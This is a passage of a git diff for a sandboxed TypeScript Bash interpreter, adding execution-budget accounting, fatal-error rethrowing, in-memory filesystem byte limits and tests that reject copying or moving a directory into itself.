+  readonly remainingLiveBytes: number;
+  consumeWork(units?: number, site?: string): number;
+  consumeLimited(
+    kind: string,
+    count: number,
+    maximum: number,
+    site?: string,
+  ): number;
+  consumeInput(bytes: number, site?: string): number;
+  reserveBytes(bytes: number, site?: string): ResourceLease;
+  reserveBytes(kind: string, bytes: number, site?: string): ResourceLease;
+  enterDepth(kind: string, site?: string): ResourceLease;
+  enterDepth(kind: string, maximum: number, site?: string): ResourceLease;
+  throwIfAborted(site?: string): void;
+  remainingTimeMs(): number;
+  registerCleanup(cleanup: Cleanup): () => void;
+}
+
+type Cleanup = () => void | Promise<void>;
+const OUTPUT_RELEASE_AUTHORITY = Object.freeze(Object.create(null) as object);
+
+/**
+ * Security-sensitive accounting shared by every interpreter descended from a
+ * single public Bash.exec() call. This object is never accepted from callers;
+ * nested exec functions capture it in a closure instead.
+ *
+ * Keep reservations centralized here so future output/byte/filesystem budgets
+ * cannot accidentally be refreshed by starting a child interpreter.
+ */
+export class ExecutionScope {
+  private commandCount = 0;
+  private workUnits = 0;
+  private liveBytes = 0;
+  private inputBytes = 0;
+  private outputBytes = 0;
+  private readonly countersByKind = new Map<string, number>();
+  private readonly bytesByKind = new Map<string, number>();
+  private readonly depthByKind = new Map<string, number>();
+  private readonly cleanupCallbacks: Cleanup[] = [];
+  private poisoned: ExecutionLimitError | ExecutionAbortedError | undefined;
+  private closed = false;
+  private readonly startedAt = Date.now();
+
+  /** Bytes still available for prospective intermediate allocations. */
+  get remainingLiveBytes(): number {
+    return Math.max(0, this.limits.maxLiveBytes - this.liveBytes);
+  }
+
+  /** Snapshot used to prove accounting inherited from a nested execution. */
+  get outputBytesUsed(): number {
+    return this.outputBytes;
+  }
+
+  constructor(
+    private readonly limits: Required<ExecutionLimits>,
+    private readonly signal: AbortSignal | undefined = undefined,
+  ) {}
+
+  private fail(error: ExecutionLimitError | ExecutionAbortedError): never {
+    this.poisoned ??= error;
+    throw this.poisoned;
+  }
+
+  /** Permanently reject later work after an extension misses cancellation. */
+  poisonAfterAbort(error: ExecutionAbortedError): void {
+    this.poisoned ??= error;
+  }
+
+  private assertUsable(): void {
+    if (this.poisoned) throw this.poisoned;
+    if (this.closed) {
+      throw new Error("execution budget is already closed");
+    }
+    this.throwIfAborted();
+  }
+
+  chargeCommand(): number {
+    return this.consume("commands", 1, "execution");
+  }
+
+  consumeWork(units = 1, site = "execution"): number {
+    return this.consume("work", units, site);
+  }
+
+  /** Charge both the aggregate work budget and a narrower operation budget. */
+  consumeLimited(
+    kind: string,
+    count: number,
+    maximum: number,
+    site: string = kind,
+  ): number {
+    this.assertUsable();
+    const current = this.countersByKind.get(kind) ?? 0;
+    if (
+      !Number.isSafeInteger(count) ||
+      count < 0 ||
+      !Number.isSafeInteger(maximum) ||
+      maximum < 0 ||
+      count > maximum - current
+    ) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: ${kind} work limit exceeded (${maximum})`,
+          "iterations",
+        ),
+      );
+    }
+    if (count > this.limits.maxWorkUnits - this.workUnits) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: aggregate work limit exceeded (${this.limits.maxWorkUnits})`,
+          "iterations",
+        ),
+      );
+    }
+    this.countersByKind.set(kind, current + count);
+    this.workUnits += count;
+    return current + count;
+  }
+
+  consumeInput(bytes: number, site = "execution"): number {
+    this.assertUsable();
+    if (
+      !Number.isSafeInteger(bytes) ||
+      bytes < 0 ||
+      bytes > this.limits.maxInputBytes - this.inputBytes
+    ) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: aggregate input size limit exceeded (${this.limits.maxInputBytes} bytes)`,
+          "string_length",
+        ),
+      );
+    }
+    this.inputBytes += bytes;
+    return this.inputBytes;
+  }
+
+  consume(kind: string, count: number = 1, site: string = kind): number {
+    this.assertUsable();
+    const kindCurrent = this.countersByKind.get(kind) ?? 0;
+    const current = kind === "commands" ? this.commandCount : this.workUnits;
+    const maximum =
+      kind === "commands"
+        ? this.limits.maxCommandCount
+        : this.limits.maxWorkUnits;
+    if (
+      !Number.isSafeInteger(count) ||
+      count < 0 ||
+      count > maximum - current
+    ) {
+      this.fail(
+        new ExecutionLimitError(
+          kind === "commands"
+            ? `too many commands executed (>${maximum}), increase executionLimits.maxCommandCount`
+            : `${site}: ${kind} work limit exceeded (${maximum})`,
+          kind === "commands" ? "commands" : "iterations",
+        ),
+      );
+    }
+    const next = current + count;
+    if (kind === "commands") this.commandCount = next;
+    else this.workUnits = next;
+    this.countersByKind.set(kind, kindCurrent + count);
+    return next;
+  }
+
+  reserveBytes(bytes: number, site?: string): ResourceLease;
+  reserveBytes(kind: string, bytes: number, site?: string): ResourceLease;
+  reserveBytes(
+    kindOrBytes: string | number,
+    bytesOrSite?: number | string,
+    maybeSite?: string,
+  ): ResourceLease {
+    this.assertUsable();
+    const kind = typeof kindOrBytes === "string" ? kindOrBytes : "live";
+    const bytes =
+      typeof kindOrBytes === "string" ? (bytesOrSite as number) : kindOrBytes;
+    const site =
+      typeof kindOrBytes === "string"
+        ? (maybeSite ?? kind)
+        : ((bytesOrSite as string | undefined) ?? "execution");
+    if (
+      !Number.isSafeInteger(bytes) ||
+      bytes < 0 ||
+      bytes > this.limits.maxLiveBytes - this.liveBytes
+    ) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: live byte limit exceeded (${this.limits.maxLiveBytes} bytes)`,
+          "string_length",
+        ),
+      );
+    }
+    this.liveBytes += bytes;
+    this.bytesByKind.set(kind, (this.bytesByKind.get(kind) ?? 0) + bytes);
+    let released = false;
+    return {
+      release: () => {
+        if (released) return;
+        released = true;
+        this.liveBytes -= bytes;
+        const next = (this.bytesByKind.get(kind) ?? bytes) - bytes;
+        if (next <= 0) this.bytesByKind.delete(kind);
+        else this.bytesByKind.set(kind, next);
+      },
+    };
+  }
+
+  appendOutput(
+    stream: "stdout" | "stderr",
+    chunk: string,
+    site = "execution",
+    alreadyAccountedBytes = 0,
+    kind: "text" | "bytes" = "text",
+  ): number {
+    this.assertUsable();
+    const bytes = kind === "bytes" ? chunk.length : utf8ByteLength(chunk);
+    if (
+      !Number.isSafeInteger(alreadyAccountedBytes) ||
+      alreadyAccountedBytes < 0 ||
+      alreadyAccountedBytes > bytes
+    ) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: invalid ${stream} accounting`,
+          "output_size",
+        ),
+      );
+    }
+    const unaccounted = bytes - alreadyAccountedBytes;
+    if (unaccounted > this.limits.maxOutputSize - this.outputBytes) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: total output size exceeded (>${this.limits.maxOutputSize} bytes), increase executionLimits.maxOutputSize`,
+          "output_size",
+        ),
+      );
+    }
+    this.outputBytes += unaccounted;
+    return bytes;
+  }
+
+  accountResult(
+    result: ExecResult,
+    site = "execution",
+    maximumPriorBytes: number = Number.POSITIVE_INFINITY,
+  ): ExecResult {
+    const prior = result.internalOutputAccounting;
+    const creditedStdout = Math.min(prior?.stdout ?? 0, maximumPriorBytes);
+    const creditedStderr = Math.min(
+      prior?.stderr ?? 0,
+      Math.max(0, maximumPriorBytes - creditedStdout),
+    );
+    const stdout = this.appendOutput(
+      "stdout",
+      result.stdout,
+      site,
+      creditedStdout,
+      result.stdoutKind === "bytes" || result.stdoutEncoding === "binary"
+        ? "bytes"
+        : "text",
+    );
+    const stderr = this.appendOutput(
+      "stderr",
+      result.stderr,
+      site,
+      creditedStderr,
+    );
+    if (Object.isExtensible(result)) {
+      result.internalOutputAccounting = { stdout, stderr };
+      return result;
+    }
+    if (stdout === 0 && stderr === 0) return result;
+    return {
+      ...result,
+      internalOutputAccounting: { stdout, stderr },
+    };
+  }
+
+  /**
+   * Relinquish bytes that were charged while a result was retained but have
+   * since become a transient pipeline input. This is deliberately limited to
+   * bytes carried by internal accounting metadata; callers must not use it to
+   * refund arbitrary output.
+   */
+  /** @internal Use relinquishPipelineOutput; the authority prevents extensions
+   * that receive an ExecutionScope from refunding their own output. */
+  relinquishOutput(bytes: number, site: string, authority: object): void {
+    this.assertUsable();
+    if (authority !== OUTPUT_RELEASE_AUTHORITY) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: unauthorized output accounting release`,
+          "output_size",
+        ),
+      );
+    }
+    if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > this.outputBytes) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: invalid output accounting release`,
+          "output_size",
+        ),
+      );
+    }
+    this.outputBytes -= bytes;
+  }
+
+  enterDepth(kind: string, site?: string): ResourceLease;
+  enterDepth(kind: string, maximum: number, site?: string): ResourceLease;
+  enterDepth(
+    kind: string,
+    maximumOrSite: number | string = this.limits.maxCallDepth,
+    maybeSite?: string,
+  ): ResourceLease {
+    this.assertUsable();
+    const maximum =
+      typeof maximumOrSite === "number"
+        ? maximumOrSite
+        : this.limits.maxCallDepth;
+    const site =
+      typeof maximumOrSite === "string" ? maximumOrSite : (maybeSite ?? kind);
+    const current = this.depthByKind.get(kind) ?? 0;
+    if (current >= maximum) {
+      this.fail(
+        new ExecutionLimitError(
+          `${site}: maximum depth (${maximum}) exceeded`,
+          "recursion",
+        ),
+      );
+    }
+    this.depthByKind.set(kind, current + 1);
+    let released = false;
+    return {
+      release: () => {
+        if (released) return;
+        released = true;
+        const next = (this.depthByKind.get(kind) ?? 1) - 1;
+        if (next <= 0) this.depthByKind.delete(kind);
+        else this.depthByKind.set(kind, next);
+      },
+    };
+  }
+
+  throwIfAborted(site = "execution"): void {
+    if (this.signal?.aborted) {
+      this.fail(new ExecutionAbortedError("", `bash: ${site} aborted\n`));
+    }
+    if (Date.now() - this.startedAt > this.limits.maxExecutionTimeMs) {
+      this.fail(
+        new ExecutionAbortedError(
+          "",
+          `bash: ${site} exceeded execution deadline (${this.limits.maxExecutionTimeMs}ms)\n`,
+        ),
+      );
+    }
+  }
+
+  remainingTimeMs(): number {
+    return Math.max(
+      0,
+      this.limits.maxExecutionTimeMs - (Date.now() - this.startedAt),
+    );
+  }
+
+  registerCleanup(cleanup: Cleanup): () => void {
+    this.assertUsable();
+    this.cleanupCallbacks.push(cleanup);
+    let active = true;
+    return () => {
+      if (!active) return;
+      active = false;
+      const index = this.cleanupCallbacks.indexOf(cleanup);
+      if (index >= 0) this.cleanupCallbacks.splice(index, 1);
+    };
+  }
+
+  async close(): Promise<void> {
+    if (this.closed) return;
+    this.closed = true;
+    const errors: unknown[] = [];
+    const cleanupDeadline = Date.now() + this.limits.maxExtensionCleanupTimeMs;
+    for (let index = this.cleanupCallbacks.length - 1; index >= 0; index--) {
+      try {
+        const remaining = cleanupDeadline - Date.now();
+        if (remaining <= 0) {
+          errors.push(new Error("execution cleanup grace period exceeded"));
+          break;
+        }
+        let timer: ReturnType<typeof _setTimeoutIfFinite>;
+        const outcome = await Promise.race([
+          Promise.resolve()
+            .then(this.cleanupCallbacks[index])
+            .then(
+              () => ({ ok: true as const }),
+              (error: unknown) => ({ ok: false as const, error }),
+            ),
+          new Promise<{ ok: false; error: Error }>((resolve) => {
+            timer = _setTimeoutIfFinite(
+              () =>
+                resolve({
+                  ok: false,
+                  error: new Error("execution cleanup grace period exceeded"),
+                }),
+              remaining,
+            );
+          }),
+        ]);
+        _clearFiniteTimeout(timer);
+        if (!outcome.ok) {
+          errors.push(outcome.error);
+          if (Date.now() >= cleanupDeadline) break;
+        }
+      } catch (error) {
+        errors.push(error);
+      }
+    }
+    this.cleanupCallbacks.length = 0;
+    this.depthByKind.clear();
+    this.bytesByKind.clear();
+    this.liveBytes = 0;
+    if (errors.length > 0) {
+      throw new AggregateError(errors, "execution cleanup failed");
+    }
+  }
+
+  assertExecDepth(depth: number): void {
+    this.assertUsable();
+    if (depth > this.limits.maxExecDepth) {
+      this.fail(
+        new ExecutionLimitError(
+          `maximum nested execution depth (${this.limits.maxExecDepth}) exceeded`,
+          "recursion",
+        ),
+      );
+    }
+  }
+}
+
+/** Build a least-authority view for command implementations. */
+export function createCommandExecutionBudget(
+  scope: ExecutionScope,
+): CommandExecutionBudget {
+  const budget = Object.create(null) as CommandExecutionBudget;
+  Object.defineProperties(budget, {
+    remainingLiveBytes: {
+      enumerable: true,
+      get: () => scope.remainingLiveBytes,
+    },
+    consumeWork: { enumerable: true, value: scope.consumeWork.bind(scope) },
+    consumeLimited: {
+      enumerable: true,
+      value: scope.consumeLimited.bind(scope),
+    },
+    consumeInput: { enumerable: true, value: scope.consumeInput.bind(scope) },
+    reserveBytes: { enumerable: true, value: scope.reserveBytes.bind(scope) },
+    enterDepth: { enumerable: true, value: scope.enterDepth.bind(scope) },
+    throwIfAborted: {
+      enumerable: true,
+      value: scope.throwIfAborted.bind(scope),
+    },
+    remainingTimeMs: {
+      enumerable: true,
+      value: scope.remainingTimeMs.bind(scope),
+    },
+    registerCleanup: {
+      enumerable: true,
+      value: scope.registerCleanup.bind(scope),
+    },
+  });
+  return Object.freeze(budget);
+}
+
+/** Release a checked pipeline intermediate without exposing refund authority
+ * through the ExecutionScope capability supplied to custom commands. */
+export function relinquishPipelineOutput(
+  scope: ExecutionScope,
+  bytes: number,
+  site = "pipeline",
+): void {
+  scope.relinquishOutput(bytes, site, OUTPUT_RELEASE_AUTHORITY);
+}
diff --git a/packages/just-bash/src/fatal-execution-error.test.ts b/packages/just-bash/src/fatal-execution-error.test.ts
new file mode 100644
index 00000000..7b6f4e36
--- /dev/null
+++ b/packages/just-bash/src/fatal-execution-error.test.ts
@@ -0,0 +1,31 @@
+import { describe, expect, it } from "vitest";
+import { rethrowFatalExecutionError } from "./fatal-execution-error.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "./interpreter/errors.js";
+import { SecurityViolationError } from "./security/defense-in-depth-box.js";
+
+describe("rethrowFatalExecutionError", () => {
+  it("rethrows safety failures unchanged", () => {
+    const limit = new ExecutionLimitError("test", "iterations");
+    const aborted = new ExecutionAbortedError();
+    const violation = new SecurityViolationError("test", {
+      type: "eval",
+      message: "test",
+      path: "globalThis.eval",
+      timestamp: Date.now(),
+      executionId: "test",
+    });
+
+    expect(() => rethrowFatalExecutionError(limit)).toThrow(limit);
+    expect(() => rethrowFatalExecutionError(aborted)).toThrow(aborted);
+    expect(() => rethrowFatalExecutionError(violation)).toThrow(violation);
+  });
+
+  it("allows ordinary command errors to be handled", () => {
+    expect(() =>
+      rethrowFatalExecutionError(new Error("ordinary")),
+    ).not.toThrow();
+  });
+});
diff --git a/packages/just-bash/src/fatal-execution-error.ts b/packages/just-bash/src/fatal-execution-error.ts
new file mode 100644
index 00000000..260642ab
--- /dev/null
+++ b/packages/just-bash/src/fatal-execution-error.ts
@@ -0,0 +1,19 @@
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "./interpreter/errors.js";
+import { SecurityViolationError } from "./security/defense-in-depth-box.js";
+
+/**
+ * Rethrow errors that command-level recovery must never turn into ordinary
+ * command failures. Call this first in broad catch blocks.
+ */
+export function rethrowFatalExecutionError(error: unknown): void {
+  if (
+    error instanceof ExecutionLimitError ||
+    error instanceof ExecutionAbortedError ||
+    error instanceof SecurityViolationError
+  ) {
+    throw error;
+  }
+}
diff --git a/packages/just-bash/src/fs/cp-mv-cycle.security.test.ts b/packages/just-bash/src/fs/cp-mv-cycle.security.test.ts
new file mode 100644
index 00000000..6f0f3dc7
--- /dev/null
+++ b/packages/just-bash/src/fs/cp-mv-cycle.security.test.ts
@@ -0,0 +1,76 @@
+import * as fs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+import { InMemoryFs } from "./in-memory-fs/in-memory-fs.js";
+import type { IFileSystem } from "./interface.js";
+import { OverlayFs } from "./overlay-fs/overlay-fs.js";
+import { ReadWriteFs } from "./read-write-fs/read-write-fs.js";
+
+const tempDirs: string[] = [];
+
+afterEach(() => {
+  for (const dir of tempDirs.splice(0)) {
+    fs.rmSync(dir, { recursive: true, force: true });
+  }
+});
+
+function realRoot(): string {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), "just-bash-cycle-"));
+  tempDirs.push(dir);
+  return dir;
+}
+
+async function assertRejectsDescendantCopy(fsImpl: IFileSystem): Promise<void> {
+  await fsImpl.writeFile("/src/file", "original");
+  await expect(
+    fsImpl.cp("/src", "/src/../src/child", { recursive: true }),
+  ).rejects.toThrow("into itself");
+  expect(await fsImpl.readFile("/src/file")).toBe("original");
+  expect(await fsImpl.exists("/src/child")).toBe(false);
+}
+
+async function assertRejectsDescendantMove(fsImpl: IFileSystem): Promise<void> {
+  await fsImpl.writeFile("/src/file", "original");
+  await expect(fsImpl.mv("/src", "/src/child")).rejects.toThrow("into itself");
+  expect(await fsImpl.readFile("/src/file")).toBe("original");
+  expect(await fsImpl.exists("/src/child")).toBe(false);
+}
+
+describe("recursive copy and move cycle rejection", () => {
+  it.each([
+    ["InMemoryFs", () => new InMemoryFs()],
+    ["OverlayFs", () => new OverlayFs({ root: realRoot(), mountPoint: "/" })],
+    ["ReadWriteFs", () => new ReadWriteFs({ root: realRoot() })],
+  ] as const)("rejects descendant copies atomically in %s", async (_name, create) => {
+    await assertRejectsDescendantCopy(create());
+  });
+
+  it.each([
+    ["InMemoryFs", () => new InMemoryFs()],
+    ["OverlayFs", () => new OverlayFs({ root: realRoot(), mountPoint: "/" })],
+    ["ReadWriteFs", () => new ReadWriteFs({ root: realRoot() })],
+  ] as const)("rejects descendant moves atomically in %s", async (_name, create) => {
+    await assertRejectsDescendantMove(create());
+  });
+
+  it("rejects command-level cp and mv before creating a destination", async () => {
+    const bash = new Bash({ files: { "/src/file": "original" } });
+    const copy = await bash.exec("cp -r /src /src/child");
+    expect(copy.stdout).toBe("");
+    expect(copy.stderr).toBe(
+      "cp: cannot copy '/src' into itself, '/src/child'\n",
+    );
+    expect(copy.exitCode).toBe(1);
+
+    const move = await bash.exec("mv /src /src/child");
+    expect(move.stdout).toBe("");
+    expect(move.stderr).toBe(
+      "mv: cannot move '/src' into itself, '/src/child'\n",
+    );
+    expect(move.exitCode).toBe(1);
+    expect(await bash.fs.readFile("/src/file")).toBe("original");
+    expect(await bash.fs.exists("/src/child")).toBe(false);
+  });
+});
diff --git a/packages/just-bash/src/fs/identity.ts b/packages/just-bash/src/fs/identity.ts
new file mode 100644
index 00000000..ce4f2edc
--- /dev/null
+++ b/packages/just-bash/src/fs/identity.ts
@@ -0,0 +1,24 @@
+import type { IFileSystem } from "./interface.js";
+
+const identities = new WeakMap<IFileSystem, object>();
+const identityTokens = new WeakSet<object>();
+
+/**
+ * Return an inert identity token for a filesystem. The token deliberately has
+ * no prototype or reference back to the filesystem: consumers may safely use
+ * it as a WeakMap key without acquiring filesystem authority.
+ */
+export function getFileSystemIdentity(fs: IFileSystem): object {
+  let identity = identities.get(fs);
+  if (identity === undefined) {
+    identity = Object.freeze(Object.create(null) as object);
+    identities.set(fs, identity);
+    identityTokens.add(identity);
+  }
+  return identity;
+}
+
+/** True only for inert tokens created by getFileSystemIdentity(). */
+export function isFileSystemIdentity(value: object): boolean {
+  return identityTokens.has(value);
+}
diff --git a/packages/just-bash/src/fs/in-memory-fs/in-memory-fs.ts b/packages/just-bash/src/fs/in-memory-fs/in-memory-fs.ts
index 8f9ea64c..2a504a00 100644
--- a/packages/just-bash/src/fs/in-memory-fs/in-memory-fs.ts
+++ b/packages/just-bash/src/fs/in-memory-fs/in-memory-fs.ts
@@ -1,4 +1,8 @@
-import { type ByteString, unsafeBytesFromLatin1 } from "../../encoding.js";
+import {
+  type ByteString,
+  unsafeBytesFromLatin1,
+  utf8ByteLength,
+} from "../../encoding.js";
 import { fromBuffer, getEncoding, toBuffer } from "../encoding.js";
 import type {
   BufferEncoding,
@@ -24,6 +28,7 @@ import {
   DEFAULT_DIR_MODE,
   DEFAULT_FILE_MODE,
   dirname,
+  isSameOrDescendantPath,
   joinPath,
   MAX_SYMLINK_DEPTH,
   normalizePath,
@@ -50,6 +55,11 @@ export interface FsData {
   [path: string]: FsEntry;
 }
 
+export interface InMemoryFsOptions {
+  /** Aggregate materialized file bytes retained by this filesystem. */
+  maxTotalBytes?: number;
+}
+
 // Text encoder for legacy string content conversion
 const textEncoder = new TextEncoder();
 
@@ -69,8 +79,133 @@ function isFileInit(
 
 export class InMemoryFs implements IFileSystem {
   private data: Map<string, FsEntry> = new Map();
+  private entryIdentities = new WeakMap<FsEntry, string>();
+  private nextEntryIdentity = 1;
+  private readonly maxTotalBytes: number;
+  private retainedBytes = 0;
+  /** Number of directory entries retaining each hard-link-compatible buffer. */
+  private contentReferences = new WeakMap<Uint8Array, number>();
+
+  private materializedContent(entry: FsEntry | undefined): FileContent | null {
+    return entry?.type === "file" && "content" in entry ? entry.content : null;
+  }
+
+  private storedByteLength(content: FileContent | null): number {
+    if (content === null) return 0;
+    return content instanceof Uint8Array
+      ? content.byteLength
+      : utf8ByteLength(content);
+  }
+
+  private wouldReleaseBytes(entry: FsEntry | undefined): number {
+    const content = this.materializedContent(entry);
+    if (content === null) return 0;
+    if (!(content instanceof Uint8Array)) return this.storedByteLength(content);
+    return this.contentReferences.get(content) === 1 ? content.byteLength : 0;
+  }
+
+  /**
+   * Check a newly allocated, unique file body before creating its buffer.
+   * Replacing the final reference to an old body credits those bytes.
+   */
+  private assertCanAllocate(path: string, prospectiveBytes: number): void {
+    const releasedBytes = this.wouldReleaseBytes(this.data.get(path));
+    if (
+      !Number.isSafeInteger(prospectiveBytes) ||
+      prospectiveBytes < 0 ||
+      prospectiveBytes > this.maxTotalBytes - this.retainedBytes + releasedBytes
+    ) {
+      throw new Error(
+        `ENOSPC: in-memory filesystem byte limit exceeded (${this.maxTotalBytes} bytes)`,
+      );
+    }
+  }
+
+  /** Replace one path while updating retained storage in constant time. */
+  private setEntry(path: string, entry: FsEntry): void {
+    const previous = this.data.get(path);
+    const previousContent = this.materializedContent(previous);
+    const nextContent = this.materializedContent(entry);
+
+    if (previousContent === nextContent) {
+      this.data.set(path, entry);
+      return;
+    }
+
+    const releasedBytes = this.wouldReleaseBytes(previous);
+    const addedBytes =
+      nextContent instanceof Uint8Array
+        ? this.contentReferences.has(nextContent)
+          ? 0
+          : nextContent.byteLength
+        : this.storedByteLength(nextContent);
+    if (addedBytes > this.maxTotalBytes - this.retainedBytes + releasedBytes) {
+      throw new Error(
+        `ENOSPC: in-memory filesystem byte limit exceeded (${this.maxTotalBytes} bytes)`,
+      );
+    }
+
+    if (previousContent instanceof Uint8Array) {
+      const references = this.contentReferences.get(previousContent) ?? 0;
+      if (references <= 1) this.contentReferences.delete(previousContent);
+      else this.contentReferences.set(previousContent, references - 1);
+    }
+    if (nextContent instanceof Uint8Array) {
+      this.contentReferences.set(
+        nextContent,
+        (this.contentReferences.get(nextContent) ?? 0) + 1,
+      );
+    }
+    this.retainedBytes += addedBytes - releasedBytes;
+    this.data.set(path, entry);
+  }
+
+  private deleteEntry(path: string): boolean {
+    const entry = this.data.get(path);
+    if (!entry) return false;
+    const content = this.materializedContent(entry);
+    const releasedBytes = this.wouldReleaseBytes(entry);
+    if (content instanceof Uint8Array) {
+      const references = this.contentReferences.get(content) ?? 0;
+      if (references <= 1) this.contentReferences.delete(content);
+      else this.contentReferences.set(content, references - 1);
+    }
+    this.retainedBytes -= releasedBytes;
+    return this.data.delete(path);
+  }
+
+  private contentByteLength(
+    content: FileContent,
+    encoding?: BufferEncoding,
+  ): number {
+    if (content instanceof Uint8Array) return content.byteLength;
+    if (encoding === "hex") return Math.floor(content.length / 2);
+    if (encoding === "base64") {
+      const padding = content.endsWith("==")
+        ? 2
+        : content.endsWith("=")
+          ? 1
+          : 0;
+      return Math.max(0, Math.floor((content.length * 3) / 4) - padding);
+    }
+    if (encoding === "binary" || encoding === "latin1") return content.length;
+    return utf8ByteLength(content);
+  }
 
-  constructor(initialFiles?: InitialFiles) {
+  private identityFor(entry: FsEntry): string {
+    let identity = this.entryIdentities.get(entry);
+    if (!identity) {
+      identity = `memfs:${this.nextEntryIdentity++}`;
+      this.entryIdentities.set(entry, identity);
+    }
+    return identity;
+  }
+
+  constructor(initialFiles?: InitialFiles, options: InMemoryFsOptions = {}) {
+    this.maxTotalBytes = options.maxTotalBytes ?? 1024 * 1024 * 1024;
+    if (!Number.isSafeInteger(this.maxTotalBytes) || this.maxTotalBytes < 0) {
+      throw new Error("InMemoryFs: invalid maxTotalBytes");
+    }
     // Create root directory
     this.data.set("/", {
       type: "directory",
@@ -124,9 +259,13 @@ export class InMemoryFs implements IFileSystem {
 
     // Store content - convert to Uint8Array for internal storage
     const encoding = getEncoding(options);
+    this.assertCanAllocate(
+      normalized,
+      this.contentByteLength(content, encoding),
+    );
     const buffer = toBuffer(content, encoding);
 
-    this.data.set(normalized, {
+    this.setEntry(normalized, {
       type: "file",
       content: buffer,
       mode: metadata?.mode ?? DEFAULT_FILE_MODE,
@@ -147,7 +286,7 @@ export class InMemoryFs implements IFileSystem {
     const normalized = normalizePath(path);
     this.ensureParentDirs(normalized);
 
-    this.data.set(normalized, {
+    this.setEntry(normalized, {
       type: "file",
       lazy,
       mode: metadata?.mode ?? DEFAULT_FILE_MODE,
@@ -172,7 +311,8 @@ export class InMemoryFs implements IFileSystem {
       mode: entry.mode,
       mtime: entry.mtime,
     };
-    this.data.set(path, materialized);
+    this.assertCanAllocate(path, buffer.byteLength);
+    this.setEntry(path, materialized);
     return materialized;
   }
 
@@ -246,7 +386,7 @@ export class InMemoryFs implements IFileSystem {
     }
 
     const encoding = getEncoding(options);
-    const newBuffer = toBuffer(content, encoding);
+    const newByteLength = this.contentByteLength(content, encoding);
 
     if (existing?.type === "file") {
       // Materialize lazy files before appending
@@ -263,12 +403,18 @@ export class InMemoryFs implements IFileSystem {
               "content" in materialized ? (materialized.content as string) : "",
             );
 
+      this.assertCanAllocate(
+        normalized,
+        existingBuffer.byteLength + newByteLength,
+      );
+      const newBuffer = toBuffer(content, encoding);
+
       // Concatenate buffers
       const combined = new Uint8Array(existingBuffer.length + newBuffer.length);
       combined.set(existingBuffer);
       combined.set(newBuffer, existingBuffer.length);
 
-      this.data.set(normalized, {
+      this.setEntry(normalized, {
         type: "file",
         content: combined,
         mode: materialized.mode,
@@ -325,6 +471,7 @@ export class InMemoryFs implements IFileSystem {
       mode: entry.mode,
       size,
       mtime: entry.mtime || new Date(),
+      identity: this.identityFor(entry),
     };
   }
 
@@ -373,6 +520,7 @@ export class InMemoryFs implements IFileSystem {
       mode: entry.mode,
       size,
       mtime: entry.mtime || new Date(),
+      identity: this.identityFor(entry),
     };
   }
 
@@ -589,7 +737,7 @@ export class InMemoryFs implements IFileSystem {
       }
     }
 
-    this.data.delete(normalized);
+    this.deleteEntry(normalized);
   }
 
   async cp(src: string, dest: string, options?: CpOptions): Promise<void> {
@@ -607,14 +755,19 @@ export class InMemoryFs implements IFileSystem {
       this.ensureParentDirs(destNorm);
       // Deep copy: create a new Uint8Array to avoid sharing the buffer reference
       if ("content" in srcEntry) {
+        const sourceBytes =
+          srcEntry.content instanceof Uint8Array
+            ? srcEntry.content.byteLength
+            : textEncoder.encode(srcEntry.content).byteLength;
+        this.assertCanAllocate(destNorm, sourceBytes);
         const contentCopy =
           srcEntry.content instanceof Uint8Array
             ? new Uint8Array(srcEntry.content)
             : srcEntry.content;
-        this.data.set(destNorm, { ...srcEntry, content: contentCopy });
+        this.setEntry(destNorm, { ...srcEntry, content: contentCopy });
       } else {
         // Lazy file - copy the lazy reference (will be materialized on read)
-        this.data.set(destNorm, { ...srcEntry });
+        this.setEntry(destNorm, { ...srcEntry });
       }
     } else if (srcEntry.type === "symlink") {
       // Copy the symlink itself (not its target)
@@ -624,6 +777,9 @@ export class InMemoryFs implements IFileSystem {
       if (!options?.recursive) {
         throw new Error(`EISDIR: is a directory, cp '${src}'`);
       }
+      if (isSameOrDescendantPath(srcNorm, destNorm)) {
+        throw new Error(`EINVAL: cannot copy '${src}' into itself, '${dest}'`);
+      }
       await this.mkdir(destNorm, { recursive: true });
       const children = await this.readdir(srcNorm);
       for (const child of children) {
@@ -635,8 +791,39 @@ export class InMemoryFs implements IFileSystem {
   }
 
   async mv(src: string, dest: string): Promise<void> {
-    await this.cp(src, dest, { recursive: true });
-    await this.rm(src, { recursive: true });
+    validatePath(src, "mv");
+    validatePath(dest, "mv");
+    const srcNorm = normalizePath(src);
+    const destNorm = normalizePath(dest);
+    if (srcNorm === destNorm) return;
+
+    const source = this.data.get(srcNorm);
+    if (!source) {
+      throw new Error(`ENOENT: no such file or directory, mv '${src}'`);
+    }
+    if (
+      source.type === "directory" &&
+      isSameOrDescendantPath(srcNorm, destNorm)
+    ) {
+      throw new Error(`EINVAL: cannot move '${src}' into itself, '${dest}'`);
+    }
+
+    if (source.type === "directory") {
+      await this.mkdir(destNorm, { recursive: true });
+      const children = await this.readdir(srcNorm);
+      for (const child of children) {
+        await this.mv(joinPath(srcNorm, child), joinPath(destNorm, child));
+      }
+      this.deleteEntry(srcNorm);
+      return;
+    }
+
+    this.ensureParentDirs(destNorm);
+    // Reuse the same body while the old path still retains it. The accounting
+    // helper therefore sees an existing reference and a rename never needs
+    // temporary capacity equal to the file size.
+    this.setEntry(destNorm, source);
+    this.deleteEntry(srcNorm);
   }
 
   // Get all paths (useful for debugging/glob)
@@ -710,12 +897,14 @@ export class InMemoryFs implements IFileSystem {
     this.ensureParentDirs(newNorm);
     // For hard links, we create a copy (simulating inode sharing)
     // In a real fs, they'd share the same inode
-    this.data.set(newNorm, {
+    const linkedEntry: FileEntry = {
       type: "file",
       content: (resolved as FileEntry).content,
       mode: resolved.mode,
       mtime: resolved.mtime,
-    });
+    };
+    this.entryIdentities.set(linkedEntry, this.identityFor(resolved));
